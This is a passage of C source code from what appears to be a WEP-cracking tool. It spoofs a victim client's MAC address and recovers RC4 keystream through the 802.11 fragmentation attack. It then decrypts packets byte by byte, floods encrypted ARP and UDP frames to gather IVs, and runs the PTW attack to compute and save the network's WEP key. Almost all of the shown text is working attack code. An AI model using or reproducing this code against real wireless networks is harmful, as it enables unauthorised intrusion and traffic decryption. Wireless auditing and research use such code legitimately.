1197	for(i = 0; i < (8+8+6); i++) {
1198		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1199						clear[i];
1200	}
1201
1202	decryptstate.prgainfo.len = i;
1203	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1204}
1205
1206void log_wep(struct ieee80211_frame* wh, int len) {
1207	int rd;
1208	struct pcap_pkthdr pkh;
1209	struct timeval tv;
1210	unsigned char *body = (unsigned char*) (wh+1);
1211
1212	memset(&pkh, 0, sizeof(pkh));
1213	pkh.caplen = pkh.len = len;
1214	if (gettimeofday(&tv, NULL) == -1)
1215		err(1, "gettimeofday()");
1216	pkh.ts = tv;
1217	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1218		err(1, "write()");
1219
1220	rd = write(weplog.fd, wh, len);
1221
1222	if (rd == -1) {
1223		perror("write()");
1224		exit(1);
1225	}
1226	if (rd != len) {
1227		time_print("short write %d out of %d\n", rd, len);
1228		exit(1);
1229	}
1230
1231#if 0
1232	if (fsync(weplog.fd) == -1) {
1233		perror("fsync()");
1234		exit(1);
1235	}
1236#endif
1237
1238	memcpy(weplog.iv, body, 3);
1239	weplog.packets++;
1240}
1241
1242void try_dictionary(struct ieee80211_frame* wh, int len) {
1243	unsigned char *body;
1244	char path[52];
1245	char paths[3][3];
1246	int i;
1247	int fd, rd;
1248	unsigned char packet[4096];
1249	int dlen;
1250	struct ether_header* eh;
1251	uLong crc;
1252	unsigned long *pcrc;
1253	unsigned char* dmac, *smac;
1254
1255	assert (len < sizeof(packet) + sizeof(*eh));
1256
1257	body = (unsigned char*) wh + sizeof(*wh);
1258
1259	for (i = 0; i < 3; i++)
1260		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1261
1262	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1263
1264	fd = open(path, O_RDONLY);
1265	if (fd == -1)
1266		return;
1267
1268	rd = read(fd, &packet[6], sizeof(packet)-6);
1269	if (rd == -1) {
1270		perror("read()");
1271		exit(1);
1272	}
1273	close(fd);
1274
1275
1276	dlen = len - sizeof(*wh) - 4;
1277	if (dlen > rd) {
1278		printf("\n");
1279		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1280		dlen);
1281		return;
1282	}
1283
1284	body += 4;
1285	for (i = 0; i < dlen; i++)
1286		packet[6+i] ^= body[i];
1287
1288	dlen -= 4;
1289	crc = crc32(0L, Z_NULL, 0);
1290	crc = crc32(crc, &packet[6], dlen);
1291	pcrc = (unsigned long*) (&packet[6+dlen]);
1292
1293	if (*pcrc != crc) {
1294		printf("\n");
1295		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1296			   path, *pcrc, crc);
1297		return;
1298	}
1299
1300	// fill ethernet header
1301	eh = (struct ether_header*) packet;
1302	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1303		smac = wh->i_addr3;
1304	else
1305		smac = wh->i_addr2;
1306
1307	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1308		dmac = wh->i_addr3;
1309	else
1310		dmac = wh->i_addr1;
1311
1312	memcpy(eh->ether_dhost, dmac, 6);
1313	memcpy(eh->ether_shost, smac, 6);
1314	// ether type should be there from llc
1315
1316	dlen -= 8; // llc
1317	dlen += sizeof(*eh);
1318
1319#if 0
1320	printf("\n");
1321	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1322	hexdump(packet, dlen);
1323#endif
1324
1325	rd = write(tapfd, packet, dlen);
1326	if (rd == -1) {
1327		perror("write()");
1328		exit(1);
1329	}
1330	if (rd != dlen) {
1331		printf("Wrote %d / %d\n", rd, dlen);
1332		exit(1);
1333	}
1334}
1335
1336int is_arp(struct ieee80211_frame *wh, int len)
1337{
1338        int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1339
1340        if (len == arpsize || len == 54)
1341                return 1;
1342
1343        return 0;
1344}
1345
1346void *get_sa(struct ieee80211_frame *wh)
1347{
1348        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1349                return wh->i_addr3;
1350        else
1351                return wh->i_addr2;
1352}
1353
1354void *get_da(struct ieee80211_frame *wh)
1355{
1356        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1357                return wh->i_addr1;
1358        else
1359                return wh->i_addr3;
1360}
1361
1362int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1363{
1364        unsigned char *ptr = clear;
1365
1366        /* IP */
1367        if (!is_arp(wh, len)) {
1368                unsigned short iplen = htons(len - 8);
1369
1370//                printf("Assuming IP %d\n", len);
1371
1372                len = sizeof(S_LLC_SNAP_IP) - 1;
1373                memcpy(ptr, S_LLC_SNAP_IP, len);
1374                ptr += len;
1375#if 1
1376                len = 2;
1377                memcpy(ptr, "\x45\x00", len);
1378                ptr += len;
1379
1380                memcpy(ptr, &iplen, len);
1381                ptr += len;
1382#endif
1383                len = ptr - ((unsigned char*)clear);
1384                return len;
1385        }
1386//        printf("Assuming ARP %d\n", len);
1387
1388        /* arp */
1389        len = sizeof(S_LLC_SNAP_ARP) - 1;
1390        memcpy(ptr, S_LLC_SNAP_ARP, len);
1391        ptr += len;
1392
1393        /* arp hdr */
1394        len = 6;
1395        memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1396        ptr += len;
1397
1398        /* type of arp */
1399        len = 2;
1400        if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1401                memcpy(ptr, "\x00\x01", len);
1402        else
1403                memcpy(ptr, "\x00\x02", len);
1404        ptr += len;
1405
1406        /* src mac */
1407        len = 6;
1408        memcpy(ptr, get_sa(wh), len);
1409        ptr += len;
1410
1411        len = ptr - ((unsigned char*)clear);
1412        return len;
1413}
1414
1415void add_keystream(struct ieee80211_frame* wh, int rd)
1416{
1417	unsigned char clear[1024];
1418	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1419	int clearsize;
1420	unsigned char *body = (unsigned char*) (wh+1);
1421	int i;
1422
1423	clearsize = known_clear(clear, wh, dlen);
1424	if (clearsize < 16)
1425		return;
1426
1427	for (i = 0; i < 16; i++)
1428		clear[i] ^= body[4+i];
1429
1430	PTW_addsession(ptw, body, clear);
1431}
1432
1433void got_wep(struct ieee80211_frame* wh, int rd) {
1434	int bodylen;
1435	int dlen;
1436	unsigned char clear[1024];
1437	int clearsize;
1438	unsigned char *body;
1439
1440	bodylen = rd - sizeof(struct ieee80211_frame);
1441
1442	dlen = bodylen - 4 - 4;
1443	body = (unsigned char*) wh + sizeof(*wh);
1444
1445
1446	// log it if its stuff not from us...
1447	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1448	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1449	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1450
1451		if (body[3] != 0) {
1452			time_print("Key index=%x!!\n", body[3]);
1453			exit(1);
1454		}
1455		log_wep(wh, rd);
1456		add_keystream(wh, rd);
1457
1458		// try to decrypt too
1459		try_dictionary(wh, rd);
1460	}
1461
1462	// look for arp-request packets... so we can decrypt em
1463	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1464	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1465	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1466	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1467	    !decryptstate.cipher &&
1468	    !netip) {
1469		decrypt_arpreq(wh, rd);
1470	}
1471
1472	// we have prga... check if its our stuff being relayed...
1473	if (prgainfo.len != 0) {
1474		// looks like it...
1475		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1476		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1477		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1478		    dlen == fragstate.len) {
1479
1480//			printf("I fink AP relayed it...\n");
1481			set_prga(body, &body[4], fragstate.data, dlen);
1482			free(fragstate.data);
1483			fragstate.data = 0;
1484			fragstate.waiting_relay = 0;
1485		}
1486
1487		// see if we get the multicast stuff of when decrypting
1488		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1489		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1490		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1491		    dlen == 36) {
1492
1493			unsigned char pr = wh->i_addr1[5];
1494
1495			printf("\n");
1496			time_print("Got clear-text byte: %d\n",
1497			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1498
1499			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1500			decryptstate.prgainfo.len++;
1501			decryptstate.fragstate.waiting_relay = 1;
1502
1503			// ok we got the ip...
1504			if (decryptstate.prgainfo.len == 26+1) {
1505				unsigned char ip[4];
1506				int i;
1507				struct in_addr *in = (struct in_addr*) ip;
1508				unsigned char *ptr;
1509
1510				for (i = 0; i < 4; i++)
1511					ip[i] = decryptstate.cipher[8+8+6+i] ^
1512						decryptstate.prgainfo.prga[8+8+6+i];
1513
1514				assert(!netip);
1515				netip = (unsigned char*) malloc(16);
1516				if(!netip) {
1517					perror("malloc()");
1518					exit(1);
1519				}
1520
1521				memset(netip, 0, 16);
1522				strcpy(netip, inet_ntoa(*in));
1523
1524				time_print("Got IP=(%s)\n", netip);
1525				strcpy(myip, netip);
1526
1527				ptr = strchr(myip, '.');
1528				assert(ptr);
1529				ptr = strchr(ptr+1, '.');
1530				assert(ptr);
1531				ptr = strchr(ptr+1, '.');
1532				assert(ptr);
1533				strcpy(ptr+1,"123");
1534
1535				time_print("My IP=(%s)\n", myip);
1536
1537
1538				free(decryptstate.prgainfo.prga);
1539				free(decryptstate.cipher);
1540				memset(&decryptstate, 0, sizeof(decryptstate));
1541			}
1542		}
1543		return;
1544	}
1545
1546	clearsize = known_clear(clear, wh, dlen);
1547	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1548
1549	set_prga(body, &body[4], clear, clearsize);
1550}
1551
1552void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1553	int type,stype;
1554
1555	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1556	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1557
1558	if (type == IEEE80211_FC0_TYPE_DATA &&
1559	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1560		int dlen = rd - sizeof(struct ieee80211_frame);
1561
1562		if (state == SPOOF_MAC) {
1563			unsigned char mac[6];
1564			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1565				memcpy(mac, wh->i_addr3, 6);
1566			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1567				memcpy(mac, wh->i_addr1, 6);
1568			} else assert(0);
1569
1570			if (mac[0] == 0xff || mac[0] == 0x1)
1571				return;
1572
1573			memcpy(mymac, mac, 6);
1574			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1575			state = FOUND_VICTIM;
1576			return;
1577		}
1578
1579		// wep data!
1580		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1581			got_wep(wh, rd);
1582		}
1583	}
1584}
1585
1586void anal(unsigned char* buf, int rd, int tx) { // yze
1587	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1588	int type,stype;
1589	static int lastseq = -1;
1590	int seq;
1591	unsigned short *seqptr;
1592	int for_us = 0;
1593
1594	if (rd < 1) {
1595		time_print("rd=%d\n", rd);
1596		exit(1);
1597	}
1598
1599	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1600	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1601
1602	// sort out acks
1603	if (state >= FOUND_VICTIM) {
1604		// stuff for us
1605		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1606			for_us = 1;
1607			if (type != IEEE80211_FC0_TYPE_CTL)
1608				send_ack(tx);
1609		}
1610	}
1611
1612	// XXX i know it aint great...
1613	seqptr = (unsigned short*)  wh->i_seq;
1614	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1615	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1616	    type != IEEE80211_FC0_TYPE_CTL) {
1617//		printf("Ignoring dup packet... seq=%d\n", seq);
1618		return;
1619	}
1620	lastseq = seq;
1621
1622	// management frame
1623	if (type == IEEE80211_FC0_TYPE_MGT) {
1624		if(state == FIND_VICTIM) {
1625			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1626			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1627
1628			    	if (get_victim_ssid(wh, rd)) {
1629			    		return;
1630				}
1631			}
1632
1633		}
1634	}
1635
1636	if (state >= FOUND_VICTIM) {
1637		// stuff for us
1638		if (for_us) {
1639			stuff_for_us(wh, rd);
1640		}
1641
1642		// stuff in network [even for us]
1643		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1644			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1645
1646			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1647			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1648			   ) {
1649			stuff_for_net(wh, rd);
1650		}
1651	}
1652}
1653
1654void do_arp(unsigned char* buf, unsigned short op,
1655	    unsigned char* m1, unsigned char* i1,
1656	    unsigned char* m2, unsigned char* i2) {
1657
1658        struct in_addr sip;
1659        struct in_addr dip;
1660	struct arphdr* h;
1661	unsigned char* data;
1662
1663        inet_aton(i1, &sip);
1664        inet_aton(i2, &dip);
1665	h = (struct arphdr*) buf;
1666
1667	memset(h, 0, sizeof(*h));
1668
1669	h->ar_hrd = htons(ARPHRD_ETHER);
1670        h->ar_pro = htons(ETHERTYPE_IP);
1671        h->ar_hln = 6;
1672        h->ar_pln = 4;
1673        h->ar_op = htons(op);
1674
1675	data = (unsigned char*) h + sizeof(*h);
1676
1677	memcpy(data, m1, 6);
1678	data += 6;
1679	memcpy(data, &sip, 4);
1680	data += 4;
1681
1682	memcpy(data, m2, 6);
1683	data += 6;
1684	memcpy(data, &dip, 4);
1685	data += 4;
1686}
1687
1688void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1689	unsigned char buf[4096];
1690	struct ieee80211_frame* wh;
1691	unsigned char* body;
1692	int fragsize;
1693	uLong crc;
1694	unsigned long *pcrc;
1695	int i;
1696	unsigned short* seq;
1697	unsigned short sn, fn;
1698
1699	wh = (struct ieee80211_frame*) buf;
1700	memcpy(wh, &fs->wh, sizeof(*wh));
1701
1702	body = (unsigned char*) wh + sizeof(*wh);
1703	memcpy(body, &pi->iv, 3);
1704	body += 3;
1705	*body++ = 0; // key index
1706
1707	fragsize = fs->data + fs->len - fs->ptr;
1708
1709	assert(fragsize > 0);
1710
1711	if ( (fragsize + 4) > pi->len) {
1712		fragsize = pi->len  - 4;
1713		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1714	}
1715	// last fragment
1716	else {
1717		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1718	}
1719
1720	memcpy(body, fs->ptr, fragsize);
1721
1722	crc = crc32(0L, Z_NULL, 0);
1723	crc = crc32(crc, body, fragsize);
1724	pcrc = (unsigned long*) (body+fragsize);
1725	*pcrc = crc;
1726
1727	for (i = 0; i < (fragsize + 4); i++)
1728		body[i] ^= pi->prga[i];
1729
1730	seq = (unsigned short*) &wh->i_seq;
1731	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1732	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1733//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1734
1735	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1736
1737	seq = (unsigned short*) &fs->wh.i_seq;
1738	*seq = fnseq(++fn, sn);
1739	fs->ptr += fragsize;
1740
1741	if (fs->ptr - fs->data == fs->len) {
1742//		printf("Finished sending frags...\n");
1743		fs->waiting_relay = 1;
1744	}
1745}
1746
1747void prepare_fragstate(struct frag_state* fs, int pad) {
1748	fs->waiting_relay = 0;
1749	fs->len = 8 + 8 + 20 + pad;
1750	fs->data = (unsigned char*) malloc(fs->len);
1751
1752	if(!fs->data) {
1753		perror("malloc()");
1754		exit(1);
1755	}
1756
1757	fs->ptr = fs->data;
1758
1759	do_llc(fs->data, ETHERTYPE_ARP);
1760	do_arp(&fs->data[8], ARPOP_REQUEST,
1761	       mymac, myip,
1762	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1763
1764	memset(&fs->wh, 0, sizeof(fs->wh));
1765	fill_basic(&fs->wh);
1766
1767	memset(fs->wh.i_addr3, 0xff, 6);
1768	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1769	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1770				IEEE80211_FC1_MORE_FRAG |
1771				IEEE80211_FC1_WEP;
1772
1773	memset(&fs->data[8+8+20], 0, pad);
1774}
1775
1776void discover_prga(int tx) {
1777
1778	// create packet...
1779	if (!fragstate.data) {
1780		int pad = 0;
1781
1782		if (prgainfo.len >= 20)
1783			pad = prgainfo.len*3;
1784
1785		prepare_fragstate(&fragstate, pad);
1786	}
1787
1788	if (!fragstate.waiting_relay) {
1789		send_fragment(tx, &fragstate, &prgainfo);
1790		if (fragstate.waiting_relay) {
1791			if (gettimeofday(&fragstate.last, NULL) == -1)
1792				err(1, "gettimeofday()");
1793		}
1794	}
1795}
1796
1797void decrypt(int tx) {
1798
1799	// gotta initiate
1800	if (!decryptstate.fragstate.data) {
1801		prepare_fragstate(&decryptstate.fragstate, 0);
1802
1803		memcpy(decryptstate.fragstate.wh.i_addr3,
1804		       MCAST_PREF, 5);
1805
1806		decryptstate.fragstate.wh.i_addr3[5] =
1807		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1808
1809		decryptstate.prgainfo.len++;
1810	}
1811
1812	// guess diff prga byte...
1813	if (decryptstate.fragstate.waiting_relay) {
1814		unsigned short* seq;
1815		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1816
1817#if 0
1818		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1819			printf("Can't decrpyt!\n");
1820			exit(1);
1821		}
1822#endif
1823		decryptstate.fragstate.wh.i_addr3[5] =
1824		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1825
1826		decryptstate.fragstate.waiting_relay = 0;
1827		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1828
1829		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1830		*seq = fnseq(0, txstate.psent);
1831	}
1832
1833	send_fragment(tx, &decryptstate.fragstate,
1834		      &decryptstate.prgainfo);
1835}
1836
1837void flood_inet(tx) {
1838	static int send_arp = -1;
1839	static unsigned char arp_pkt[128];
1840	static int arp_len;
1841	static unsigned char udp_pkt[128];
1842	static int udp_len;
1843	static struct timeval last_ip;
1844
1845	// need to init packets...
1846	if (send_arp == -1) {
1847		unsigned char* body;
1848		unsigned char* ptr;
1849		struct ieee80211_frame* wh;
1850		struct ip* ih;
1851		struct udphdr* uh;
1852
1853		memset(arp_pkt, 0, sizeof(arp_pkt));
1854		memset(udp_pkt, 0, sizeof(udp_pkt));
1855
1856		// construct ARP
1857		wh = (struct ieee80211_frame*) arp_pkt;
1858		fill_basic(wh);
1859
1860		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1861		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1862		memset(wh->i_addr3, 0xff, 6);
1863
1864		body = (unsigned char*) wh + sizeof(*wh);
1865		ptr = body;
1866		ptr += 4; // iv
1867
1868		do_llc(ptr, ETHERTYPE_ARP);
1869		ptr += 8;
1870		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1871		       "\x00\x00\x00\x00\x00\x00", netip);
1872
1873		wepify(body, 8+8+20);
1874		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1875		assert(arp_len < sizeof(arp_pkt));
1876
1877
1878		// construct UDP
1879		wh = (struct ieee80211_frame*) udp_pkt;
1880		fill_basic(wh);
1881
1882		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1883		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1884		memcpy(wh->i_addr3, rtrmac, 6);
1885
1886		body = (unsigned char*) wh + sizeof(*wh);
1887		ptr = body;
1888		ptr += 4; // iv
1889
1890		do_llc(ptr, ETHERTYPE_IP);
1891		ptr += 8;
1892
1893		ih = (struct ip*) ptr;
1894		ih->ip_hl = 5;
1895		ih->ip_v = 4;
1896		ih->ip_tos = 0;
1897		ih->ip_len = htons(20+8+5);
1898		ih->ip_id = htons(666);
1899		ih->ip_off = 0;
1900		ih->ip_ttl = 128;
1901		ih->ip_p = IPPROTO_UDP;
1902		ih->ip_sum = 0;
1903
1904		inet_aton(myip, &ih->ip_src);
1905		inet_aton(floodip, &ih->ip_dst);
1906
1907		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1908
1909		ptr += 20;
1910		uh = (struct udphdr*) ptr;
1911		uh->uh_sport = htons(floodsport);
1912		uh->uh_dport = htons(floodport);
1913		uh->uh_ulen = htons(8+5);
1914		uh->uh_sum = 0;
1915
1916		ptr += 8;
1917		strcpy(ptr, "sorbo");
1918
1919		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1920					  &ih->ip_dst);
1921
1922		wepify(body, 8+20+8+5);
1923		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1924		assert(udp_len < sizeof(udp_pkt));
1925
1926		// bootstrap
1927		send_arp = 1;
1928
1929		memset(&last_ip, 0, sizeof(last_ip));
1930	}
1931
1932	if (send_arp == 1) {
1933		struct timeval now;
1934		unsigned long sec;
1935
1936		if (gettimeofday(&now, NULL) == -1) {
1937			perror("gettimeofday()");
1938			exit(1);
1939		}
1940
1941		sec = now.tv_sec - last_ip.tv_sec;
1942
1943		if (sec < 5)
1944			return;
1945
1946		send_frame(tx, arp_pkt, arp_len);
1947		send_arp = 0;
1948	}
1949
1950	else if (send_arp == 0) {
1951		if (gettimeofday(&last_ip, NULL) == -1) {
1952			perror("gettimeofday()");
1953			exit(1);
1954		}
1955
1956		send_frame(tx, udp_pkt, udp_len);
1957		send_arp = 1;
1958	} else assert(0);
1959}
1960
1961void send_arp(int tx, unsigned short op, unsigned char* srcip,
1962	      unsigned char* srcmac, unsigned char* dstip,
1963	      unsigned char* dstmac) {
1964
1965	static unsigned char arp_pkt[128];
1966	unsigned char* body;
1967	unsigned char* ptr;
1968	struct ieee80211_frame* wh;
1969	int arp_len;
1970
1971	memset(arp_pkt, 0, sizeof(arp_pkt));
1972
1973	// construct ARP
1974	wh = (struct ieee80211_frame*) arp_pkt;
1975	fill_basic(wh);
1976
1977	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1978	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1979	memset(wh->i_addr3, 0xff, 6);
1980
1981	body = (unsigned char*) wh + sizeof(*wh);
1982	ptr = body;
1983	ptr += 4; // iv
1984
1985	do_llc(ptr, ETHERTYPE_ARP);
1986	ptr += 8;
1987	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1988
1989	wepify(body, 8+8+20);
1990	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1991	assert(arp_len < sizeof(arp_pkt));
1992
1993	send_frame(tx, arp_pkt, arp_len);
1994}
1995
1996void can_write(int tx) {
1997	static char arp_ip[16];
1998
1999	switch (state) {
2000		case FOUND_VICTIM:
2001			send_auth(tx);
2002			state = SENDING_AUTH;
2003			break;
2004
2005		case GOT_AUTH:
2006			send_assoc(tx);
2007			state = SENDING_ASSOC;
2008			break;
2009
2010		case GOT_ASSOC:
2011			if (prgainfo.prga && prgainfo.len < min_prga) {
2012				discover_prga(tx);
2013				break;
2014			}
2015
2016			if (decryptstate.cipher) {
2017				decrypt(tx);
2018				break;
2019			}
2020
2021			if (!prgainfo.prga)
2022				break;
2023
2024			if (taptx_len) {
2025				send_frame(tx, taptx, taptx_len);
2026				taptx_len = 0;
2027				break;
2028			}
2029
2030			// try to find rtr mac addr
2031			if (netip && !rtrmac) {
2032				char* ptr;
2033
2034				strcpy(arp_ip, netip);
2035				if (!netip_arg) {
2036					ptr = strchr(arp_ip, '.');
2037					assert(ptr);
2038					ptr = strchr(++ptr, '.');
2039					assert(ptr);
2040					ptr = strchr(++ptr, '.');
2041					assert(ptr);
2042					strcpy(++ptr, "1");
2043				}
2044
2045				if (gettimeofday(&arpsend, NULL) == -1)
2046					err(1, "gettimeofday()");
2047
2048				time_print("Sending arp request for: %s\n", arp_ip);
2049				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2050					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2051
2052				// XXX lame
2053				rtrmac = (unsigned char*)1;
2054				break;
2055			}
2056
2057			// need to generate traffic...
2058			if (rtrmac > (unsigned char*)1 && netip) {
2059				if (floodip)
2060					flood_inet(tx);
2061				else {
2062					// XXX lame technique... anyway... im
2063					// only interested in flood_inet...
2064
2065					// could ping broadcast....
2066					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2067						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2068				}
2069
2070				break;
2071			}
2072
2073			break;
2074	}
2075}
2076
2077void save_key(unsigned char *key, int len)
2078{
2079	char tmp[16];
2080	char k[64];
2081	int fd;
2082	int rd;
2083
2084	assert(len*3 < sizeof(k));
2085
2086	k[0] = 0;
2087	while (len--) {
2088		sprintf(tmp, "%.2X", *key++);
2089		strcat(k, tmp);
2090		if (len)
2091			strcat(k, ":");
2092	}
2093
2094	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2095	if (fd == -1)
2096		err(1, "open()");
2097
2098	printf("\nKey: %s\n", k);
2099	rd = write(fd, k, strlen(k));
2100	if (rd == -1)
2101		err(1, "write()");
2102	if (rd != strlen(k))
2103		errx(1, "write %d/%d\n", rd, strlen(k));
2104	close(fd);
2105}
2106
2107#define KEYLIMIT (1000000)
2108int do_crack(void)
2109{
2110	unsigned char key[PTW_KEYHSBYTES];
2111
2112	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2113		save_key(key, 13);
2114		return 1;
2115	}
2116	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2117		save_key(key, 5);
2118		return 1;
2119	}
2120
2121	return 0;
2122}
2123
2124void try_crack() {
2125	if (crack_pid) {
2126		printf("\n");
2127		time_print("Warning... previous crack still running!\n");
2128		kill_crack();
2129	}
2130
2131	if (weplog.fd) {
2132		if (fsync(weplog.fd) == -1)
2133			err(1, "fsync");
2134	}
2135
2136	crack_pid = fork();
2137
2138	if (crack_pid == -1)
2139		err(1, "fork");
2140
2141	// child
2142	if (crack_pid == 0) {
2143		if (!do_crack())
2144			printf("\nCrack unsuccessful\n");
2145		exit(1);
2146	}
2147
2148	// parent
2149	printf("\n");
2150	time_print("Starting crack PID=%d\n", crack_pid);
2151	if (gettimeofday(&crack_start, NULL) == -1)
2152		err(1, "gettimeofday");
2153
2154
2155	wep_thresh += thresh_incr;
2156}
2157
2158void open_tap() {
2159	struct stat st;
2160	int s;
2161	struct ifreq ifr;
2162	unsigned int flags;
2163
2164	tapfd = open(TAP_DEV, O_RDWR);
2165	if (tapfd == -1) {
2166		printf("Can't open tap: %s\n", strerror(errno));
2167		exit(1);
2168	}
2169	if(fstat(tapfd, &st) == -1) {
2170		perror("fstat()");
2171		exit(1);
2172	}
2173
2174	// feer
2175	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2176
2177	s = socket(PF_INET, SOCK_DGRAM, 0);
2178	if (s == -1) {
2179		perror("socket()");
2180		exit(1);
2181	}
2182
2183	// MTU
2184	memset(&ifr, 0, sizeof(ifr));
2185	strcpy(ifr.ifr_name, tapdev);
2186	ifr.ifr_mtu = 1500;
2187	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2188		perror("ioctl(SIOCSIFMTU)");
2189		exit(1);
2190	}
2191
2192	// set iface up
2193	memset(&ifr, 0, sizeof(ifr));
2194	strcpy(ifr.ifr_name, tapdev);
2195	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2196		perror("ioctl(SIOCGIFFLAGS)");
2197		exit(1);
2198	}
2199
2200	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2201	flags |= IFF_UP;
2202
2203	memset(&ifr, 0, sizeof(ifr));
2204	strcpy(ifr.ifr_name, tapdev);
2205	ifr.ifr_flags = flags & 0xffff;
2206	ifr.ifr_flagshigh = flags >> 16;
2207	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2208		perror("ioctl(SIOCSIFFLAGS)");
2209		exit(1);
2210	}
2211
2212	close(s);
2213	time_print("Opened tap device: %s\n", tapdev);
2214}
2215
2216void read_tap() {
2217	unsigned char buf[4096];
2218	struct ether_header* eh;
2219	struct ieee80211_frame* wh;
2220	int rd;
2221	unsigned char* ptr, *body;
2222	int dlen;
2223
2224	rd = read(tapfd, buf, sizeof(buf));
2225	if (rd == -1) {
2226		perror("read()");
2227		exit(1);
2228	}
2229	dlen = rd - sizeof(*eh);
2230
2231	assert(dlen > 0);
